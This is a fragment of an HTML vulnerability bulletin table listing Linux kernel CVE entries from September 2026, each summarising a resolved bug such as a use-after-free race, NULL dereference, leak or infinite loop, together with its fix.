&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90390&quot; target=&quot;_blank&quot;&gt;CVE-2026-90390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: lib/test_hmm: fail dmirror_fault() when the mirrored mm is gone dmirror_fault() is called from the dmirror_read() and dmirror_write() retry loops after dmirror_do_read() or dmirror_do_write() finds a missing device page table entry. If the mirrored mm has already exited, mmget_not_zero() fails. The current code returns 0 in that case, which tells the caller that faulting succeeded even though no page was faulted and no device page table entry was installed. The caller then retries the same address, hits -ENOENT again, and can loop forever without making progress. Return -EFAULT instead, so the ioctl fails when the mirrored mm is no longer faultable.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90391&quot; target=&quot;_blank&quot;&gt;CVE-2026-90391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix potential UAF in bpf_netns_link_update_prog In bpf_netns_link_update_prog, the checks for old_prog and prog type are currently performed locklessly before acquiring netns_bpf_mutex. This creates a race condition that can lead to a UAF issue. If two threads concurrently execute BPF_LINK_UPDATE on the same netns link, the following execution path can trigger a UAF: CPU0 CPU1 bpf_netns_link_update_prog if (old_prog &amp;amp;&amp;amp; old_prog != link-&amp;gt;prog) return -EPERM; bpf_netns_link_update_prog if (old_prog &amp;amp;&amp;amp; old_prog != link-&amp;gt;prog) ... old_prog = xchg(&amp;amp;link-&amp;gt;prog, new_prog); bpf_prog_put(old_prog); if (new_prog-&amp;gt;type != link-&amp;gt;prog-&amp;gt;type) &amp;lt;-- trigger UAF Fix this by moving the old_prog and prog-&amp;gt;type checks inside the netns_bpf_mutex critical section. Meanwhile, use guard() to simplify lock management and avoid all the goto jumping.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90393&quot; target=&quot;_blank&quot;&gt;CVE-2026-90393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: sc2731_charger: cancel work on remove The USB notifier and initial charger detection can schedule info-&amp;gt;work. The remove path unregisters the notifier, but does not cancel queued or running work before the devm-allocated driver data is released. Set the platform drvdata used by remove, then cancel the work after unregistering the notifier. This issue was found by a static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90394&quot; target=&quot;_blank&quot;&gt;CVE-2026-90394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: isp1704_charger: cancel work on remove The USB notifier and initial VBUS detection can schedule isp-&amp;gt;work. The remove path unregisters the notifier and power supply, but does not wait for queued or running work before tearing down the power supply state. Cancel the work after unregistering the notifier. Do this before unregistering the power supply. This issue was found by a static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90395&quot; target=&quot;_blank&quot;&gt;CVE-2026-90395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: block: fix dio leak on metadata mapping error A failed integrity mapping holds a dio reference, so we need to go through the full bio ending in case there were previously submitted bio&#039;s in the sequence.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90396&quot; target=&quot;_blank&quot;&gt;CVE-2026-90396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: qcom: scm: Fix NULL dereference in IRQ handler before __scm is published In qcom_scm_probe(), devm_request_threaded_irq() is called before smp_store_release(&amp;amp;__scm, scm). Two paths can dereference __scm before it is published, both causing a NULL pointer dereference. The IRQ handler receives scm via its data argument but passes only wq_ctx to qcom_scm_waitq_wakeup() and qcom_scm_get_completion(), which then dereference __scm directly. Thread scm through both functions so the IRQ handler path never touches __scm. Non-atomic SMC calls made during probe (e.g. from qcom_tzmem_init via qcom_scm_shm_bridge_enable) can return WAITQ_SLEEP, causing qcom_scm_wait_for_wq_completion() to run before __scm is published and dereference it. Add platform_set_drvdata(pdev, scm) early in probe and change qcom_scm_wait_for_wq_completion() to take the device pointer and use dev_get_drvdata() to reach scm, removing any dependency on __scm.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90397&quot; target=&quot;_blank&quot;&gt;CVE-2026-90397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md: recheck spare changes before starting sync remove_spares() and remove_and_add_spares() modify the array&#039;s rdev configuration. These operations are only safe after the array has been suspended. md_start_sync() checks whether spare configuration changes are needed before taking reconfig_mutex. However, the rdev state can change before the mutex is acquired, so the initial check can become stale. In that case, md_choose_sync_action() may remove or replace rdevs while normal I/O is still accessing them. The race can occur as follows: raid10d Worker Normal IO ____________ _______________________ ______________________ raid10_write_request() wait_blocked_dev() set Blocked set Faulty Skip Faulty rdev rrdev-&amp;gt;nr_pending++ .repl_bio = bio removeable_rdev = false . array not suspended . lock mddev goto err_handle lock mddev (wait) . update sb . clear Blocked . . unlock mddev . lock mddev (acquires) remove_spares() removeable_rdev = true raid10_remove_disk() rdev = replacement replacement = NULL rdev_dec_pending(NULL) unlock mddev (NULL)-&amp;gt;nr_pending-- In this case, rdev_dec_pending() is called with a NULL pointer, resulting in a NULL pointer dereference when attempting to decrement nr_pending. Fix this by suspending the array when spare configuration changes are needed, including for non-read-write arrays, and checking again after taking reconfig_mutex. If the array was not already suspended and a change is now needed, release the mutex, suspend the array, and reacquire the mutex before continuing.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90400&quot; target=&quot;_blank&quot;&gt;CVE-2026-90400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/chrome: cros_ec_debugfs: Unregister panic notifier cros_ec_debugfs_probe() registers notifier_panic with the EC panic notifier chain. The remove path tears down debugfs and the console log, but leaves the notifier registered. A later panic notification can call back into the removed instance and queue work that accesses released data. Unregister the panic notifier before tearing down the debugfs and console log state. This issue was found by a static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90404&quot; target=&quot;_blank&quot;&gt;CVE-2026-90404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: stm32: dcmi: fix some error handling bugs in probe() There are a few issues here: 1) After we assign: chan = dma_request_chan(&amp;amp;pdev-&amp;gt;dev, &quot;tx&quot;); Then the error paths need to clean up before returning. The first error path does a direct return. 2) The error paths check &quot;dcmi-&amp;gt;mdma_chan&quot; but that is not assigned until later so it results in memory leaks. Test &quot;mdma_chan&quot; instead. 3) The error handling calls dma_release_channel(dcmi-&amp;gt;dma_chan) before &quot;dcmi-&amp;gt;dma_chan&quot; has been assigned which leads to a NULL pointer dereference. Use the &quot;chan&quot; variable instead. I also moved the call to dma_release_channel() after the call to dma_release_channel() so it mirrors the allocation code better.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90405&quot; target=&quot;_blank&quot;&gt;CVE-2026-90405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: qcom: iris: handle runtime PM resume failure in core deinit Check the return value of pm_runtime_resume_and_get() in iris_core_deinit(). If runtime PM resume fails, skip hardware power-off operations but still perform software teardown and state transition. Also skip the corresponding pm_runtime_put_sync() call to avoid unbalanced runtime PM references.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90406&quot; target=&quot;_blank&quot;&gt;CVE-2026-90406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Add vm_bind region with kbo range overlap check When a VM is created, caller has to specify the range of the address space carve-out set aside for mapping kernel BO&#039;s. That means vm_bind mappings of UM-exposed BO&#039;s should not intersect with that region, but at the moment we&#039;re not checking this. At first, I thought of giving these values to drm_gpuvm_init() through its reserve_{offset, range} arguments, but it turns out that is meant for VM address spans that are not managed through the usual drm_gpuvm split/merge circuit, so storing the end of the user VA range at VM creation time and doing a quick check in the vm_bind ioctl path was the simplest workaround. The new check also makes sure vm_bind range doesn&#039;t overflow the size of a 64-bit unsigned integer. That was already being done further down the call stack inside drm_gpuvm_sm_map -&amp;gt; drm_gpuvm_range_valid, but it&#039;s best to fail early in the driver before GPUVM functions are invoked so that we won&#039;t waste time allocating vm_bind context resources.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90409&quot; target=&quot;_blank&quot;&gt;CVE-2026-90409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: davinci: switch to managed controller allocation The controller is allocated with the non-managed spi_alloc_host() while the interrupt is registered with devm_request_threaded_irq(). During removal, spi_bitbang_stop() only unregisters the controller; the subsequent spi_controller_put() then frees the controller together with its embedded davinci_spi devdata, which is the IRQ handler&#039;s dev_id. The devm_request_threaded_irq() release action (free_irq()), which drains the handler, does not run until after .remove() returns. A late or latched interrupt can therefore reach davinci_spi_irq() and dereference already-freed memory. Switch to devm_spi_alloc_host() so that the devres LIFO order releases the controller only after free_irq() has drained the handler, and drop the now-redundant spi_controller_put() from .remove(). The probe error path is simplified to direct returns. The clock is acquired with devm_clk_get_enabled(), which is registered after the IRQ and thus released before it by the devres LIFO order. Drain the interrupt explicitly with devm_free_irq() before disabling the controller so that a late interrupt cannot access the registers of a clock-gated controller. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90410&quot; target=&quot;_blank&quot;&gt;CVE-2026-90410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-fc: unmap cmd_iu DMA on rsp_iu mapping failure in init_request __nvme_fc_init_request() maps cmd_iu and then rsp_iu for DMA. If the rsp_iu mapping fails, the original code only recorded the error and fell through: it left the already-mapped cmd_iu unmapped and still marked the op as FCPOP_STATE_IDLE before returning. Since blk-mq does not call .exit_request() when .init_request() fails, the cmd_iu mapping is leaked for every op whose rsp_iu mapping fails. Jump to an error path on rsp_iu mapping failure that unmaps cmd_iu and returns the error without marking the op idle, so it stays in the FCPOP_STATE_UNINIT state set by the initial memset().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90411&quot; target=&quot;_blank&quot;&gt;CVE-2026-90411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet: fix return status of RMI log page on allocation failure nvmet_execute_get_log_page_rmi() leaves &#039;status&#039; holding NVME_SC_SUCCESS (set by the successful nvmet_req_find_ns() call) when the kzalloc() for the log buffer fails. It then jumps to the out label and completes the request with a success status, so the host is told the command succeeded while no data was transferred. Initialize &#039;status&#039; to NVME_SC_INTERNAL, matching the smart log handler, so an allocation failure is reported as an internal error.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90412&quot; target=&quot;_blank&quot;&gt;CVE-2026-90412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: free STAG index when TPT entry write fails write_tpt_entry() allocates a new STAG index with c4iw_get_resource() and bumps stats.stag.cur before programming the entry. When write_adapter_mem() fails, it returns the error without releasing the index or reversing the statistic. No MR is inserted into rhp-&amp;gt;mrs, so deregistration never reclaims it, leaking the index until device teardown. Record whether this call allocated the index and, on a failed write, return it to tpt_table and decrement stats.stag.cur. Key the rollback on both the write error and that flag, not the error alone: a non-reset update carries a caller-owned STAG that this call did not allocate and must not free.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90415&quot; target=&quot;_blank&quot;&gt;CVE-2026-90415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix stack out-of-bounds read in cc_params debugfs get_param() reads a congestion parameter as a u32 but formats it with the signed &quot;%d&quot; into an 11-byte stack buffer. A value with bit 31 set, such as 0x80000000, renders as &quot;-2147483648\n&quot; whose full length is 12. snprintf() stores only 11 bytes yet returns 12, so simple_read_from_buffer() treats 12 bytes as valid and reads one byte past lbuf[]. Size the buffer for the widest unsigned decimal, format with &quot;%u&quot; to match the u32, and use scnprintf() so the length passed to simple_read_from_buffer() reflects the bytes actually stored.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90416&quot; target=&quot;_blank&quot;&gt;CVE-2026-90416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Fix dereg_skb leak and double free in write_tpt_entry() When the device is in the fatal error state, write_tpt_entry() returns -EIO before handing the caller&#039;s preallocated skb to the transmit path; its allocation-failure returns do the same. c4iw_dereg_mr() ignores the error and frees mhp, leaking mhp-&amp;gt;dereg_skb. c4iw_get_dma_mr() instead frees the skb a second time after dereg_mem() already consumed it, a double free. Make write_tpt_entry() the sole owner of a non-NULL skb, freeing it on every return preceding handoff to c4iw_ofld_send(): fatal error, tpt and stag allocation failure. c4iw_ofld_send() consumes the skb on success and error alike, so drop the redundant kfree_skb() in c4iw_get_dma_mr() after dereg_mem().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90417&quot; target=&quot;_blank&quot;&gt;CVE-2026-90417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix BUG in nilfs_copy_dirty_pages() on dirty state mismatch Syzbot reported a kernel BUG triggered within nilfs_copy_dirty_pages(), which copies dirty DAT file folios/pages to its shadow page cache. The BUG occurs when a retrieved dirty folio/page unexpectedly loses its &#039;dirty&#039; status. This issue arises because, since the commit referenced below, the &#039;dirty&#039; flag of a folio/page can be cleared asynchronously after the filesystem detects metadata corruption and transitions to read-only mode. Resolve the issue by returning an -EROFS error if the filesystem has transitioned to read-only mode. Also change the behavior to issue a kernel warning only once instead of triggering a kernel BUG when this unexpected &#039;dirty&#039; state is detected while the filesystem is not in read-only mode.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90418&quot; target=&quot;_blank&quot;&gt;CVE-2026-90418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix infinite loop in nilfs_clean_segments() syzbot reported a hung task in nilfs_transaction_begin(). This occurs because the cleaner ioctl falls into an infinite loop if nilfs_segctor_construct() repeatedly returns -EROFS (e.g. the device is remounted as read-only after an I/O error). Currently in nilfs_clean_segments(), if err is non-zero, it logs the error and sleeps but doesn&#039;t abort when it encounters a terminal error like -EROFS. This causes the thread to loop forever. Fix this by breaking out of the loop if nilfs_segctor_construct() returns -EROFS. This matches the behaviour in nilfs_segctor_write_out(), which also handles -EROFS.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90420&quot; target=&quot;_blank&quot;&gt;CVE-2026-90420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: Fix UAF when probe runs concurrent to dyn ID removal Dynamic IDs are only guaranteed to be valid when dynids.lock is held, as remove_id_store() can free the node. Thus, make a copy in pci_match_device(). Also, clarify that the id parameter is only valid during probe.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90421&quot; target=&quot;_blank&quot;&gt;CVE-2026-90421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: mediatek: pllfh: Fix IO remapping leak in register_pllfhs error path When mtk_clk_register_pllfhs function fails to register a PLL, it unregisters all PLLs and cleans up itself in its error path before returning, so the function callers don&#039;t need to do it. But contrary to mtk_clk_unregister_pllfhs function, that does almost the same sequence, it does not free the IO memory mapped on fhctl node, leading to a leak. Fix this leak by factorizing the cleanup sequence in a new private function and use it both mtk_clk_register_pllfhs and mtk_clk_unregister_pllfhs functions. Also, change the loop index start value to avoid the -1 operation on index at each loop.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90422&quot; target=&quot;_blank&quot;&gt;CVE-2026-90422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Fix VINTF0 leak on the init-failure path tegra241_cmdqv_init_structures() allocates VINTF0 with kzalloc_obj(), inits it, and preallocates its logical VCMDQs. Two of its error paths leak. When tegra241_cmdqv_init_vintf() fails it returns before VINTF0 reaches the cmdqv-&amp;gt;vintfs[] array, so the devres unwind on probe failure cannot reach it; free it directly there. A later VCMDQ preallocation failure instead leaves VINTF0 published, and so this time the unwind does reach tegra241_cmdqv_remove_vintf(), which then frees it from vintf-&amp;gt;hyp_own. But tegra241_vintf_hw_init() sets that flag only afterward, from a HW read-back, so the still-uninited VINTF0 reads as guest-owned and leaks, with mutex_destroy() and ida_destroy() run on fields it never set up. Decide ownership from vintf-&amp;gt;idx instead, the index assigned when its id is allocated: idx 0 is the kernel-owned VINTF0, while idx &amp;gt;= 1 marks a guest VINTF. So the in-kernel free decision in tegra241_cmdqv_remove_vintf() and tegra241_vintf_free_lvcmdq() now keys on idx too, and hyp_own stays a pure HW-readback state.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90424&quot; target=&quot;_blank&quot;&gt;CVE-2026-90424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Free the error IRQ before tearing down VINTFs tegra241_cmdqv_remove() tears each VINTF down first, then calls free_irq(). Tearing a VINTF down frees vintf0 and clears cmdqv-&amp;gt;vintfs[0]. An error in that window makes tegra241_cmdqv_isr() read the stale slot and hand it to tegra241_vintf0_handle_error(), which dereferences a NULL or freed pointer. Free the IRQ before tearing the VINTFs down. free_irq() waits for in-flight handlers to finish and blocks new ones, so no ISR can observe a VINTF as it is torn down. Note: a user-owned VINTF (viommu) could outlive this teardown, which unmaps cmdqv-&amp;gt;base and frees cmdqv-&amp;gt;vintfs, so a later viommu close then touches freed memory. This is neither introduced nor fixed here: a physical IOMMU is not a pluggable device, so iommufd by design holds no reference on the one behind a viommu, and this teardown is not expected while that viommu is still alive.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90426&quot; target=&quot;_blank&quot;&gt;CVE-2026-90426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Don&#039;t run the error ISR before probe sets up vintfs __tegra241_cmdqv_probe() requests the error IRQ before it has allocated the cmdqv-&amp;gt;vintfs array and set cmdqv-&amp;gt;num_vintfs. A CMDQV left enabled with a latched error across a kexec fires the IRQ as soon as it is requested, and tegra241_cmdqv_isr() then walks the uninitialized cmdqv-&amp;gt;vintfs array. Request the IRQ only after cmdqv-&amp;gt;vintfs is allocated and zeroed, so that a latched interrupt firing early runs the ISR against a valid array of NULL slots that it safely skips.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90428&quot; target=&quot;_blank&quot;&gt;CVE-2026-90428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Publish an LVCMDQ only after it is fully initialized tegra241_vintf_init_lvcmdq() stores the freshly allocated vcmdq pointer to the vintf-&amp;gt;lvcmdqs[] array, before tegra241_vcmdq_alloc_smmu_cmdq() builds the vcmdq-&amp;gt;cmdq. The error ISR dereferences that cmdq, so a latched LVCMDQ error (e.g. one inherited across a kexec) firing in this window would make tegra241_vintf0_handle_error() pass the still-zeroed arm_smmu_cmdq down to __arm_smmu_cmdq_skip_err(), dereferencing NULL queue register pointers. Drop the store from tegra241_vintf_init_lvcmdq() and publish the vcmdq at the end of the allocation instead, with an smp_store_release() that pairs with an smp_load_acquire() in the ISR, which can see a fully built LVCMDQ or NULL. The user-owned LVCMDQ allocation moves accordingly, publishing the vcmdq once tegra241_vcmdq_hw_init_user() succeeds, using a plain store since a user VINTF&#039;s lvcmdqs[] has no lockless reader -- the error ISR only walks the VINTF0 array.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90430&quot; target=&quot;_blank&quot;&gt;CVE-2026-90430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: remoteproc: Prevent crash handling to race with rproc_del() There&#039;s no synchronization between rproc_crash_handler_work() and rproc_del(), as such it&#039;s possible for a driver to be removed while crash-handler work is scheduled, or even executing - resulting in use-after-free issues. To avoid this the scheduled work need to be cancelled and synchronized against before the removal proceeds. In order to ensure that this doesn&#039;t race with the reporting, and thereby scheduling new work, a &quot;deleting&quot; flag is introduced. This is similar to the RPROC_DELETE state that was introduced to ensure that &quot;start&quot; didn&#039;t race with rproc_del(), but the existing mechanism can not be used as it&#039;s valid to call rproc_report_crash() in atomic context - and the &quot;state&quot; is protected by a mutex. In the event that work is cancelled the pm_stay_awake() is left unbalanced and need to be unrolled. The blocking and cancelling of crash-handler work prior to the actual rproc_shutdown() call does have the explicit side-effect that crashes resulting from the shutdown process will not enter the crash-handling path, and as such will not generate devcoredumps etc. Due to the existing mutual exclusion between these code paths there&#039;s no concrete reduction in functionality, but further work would be needed to handle this case.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90431&quot; target=&quot;_blank&quot;&gt;CVE-2026-90431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched_ext: Abort directly from the hardlockup handler scx_hardlockup() defers the abort to an irq_work because exit claiming used to take scx_sched_lock and couldn&#039;t run from NMI. The deferral is now unnecessary - claiming is NMI-safe and asserting -&amp;gt;aborting is exactly what breaks the live-locks that hard-lock CPUs. Call handle_lockup() directly and drop the irq_work. This also makes the self-detected case recoverable: the perf watchdog fires on the hard-locked CPU itself, where a queued irq_work never runs with IRQs off. Also fix the return value: %true used to be returned whenever sched_ext was loaded, suppressing the kernel&#039;s hardlockup report even when the abort was refused. Return %true only when this call initiated the abort.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90432&quot; target=&quot;_blank&quot;&gt;CVE-2026-90432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
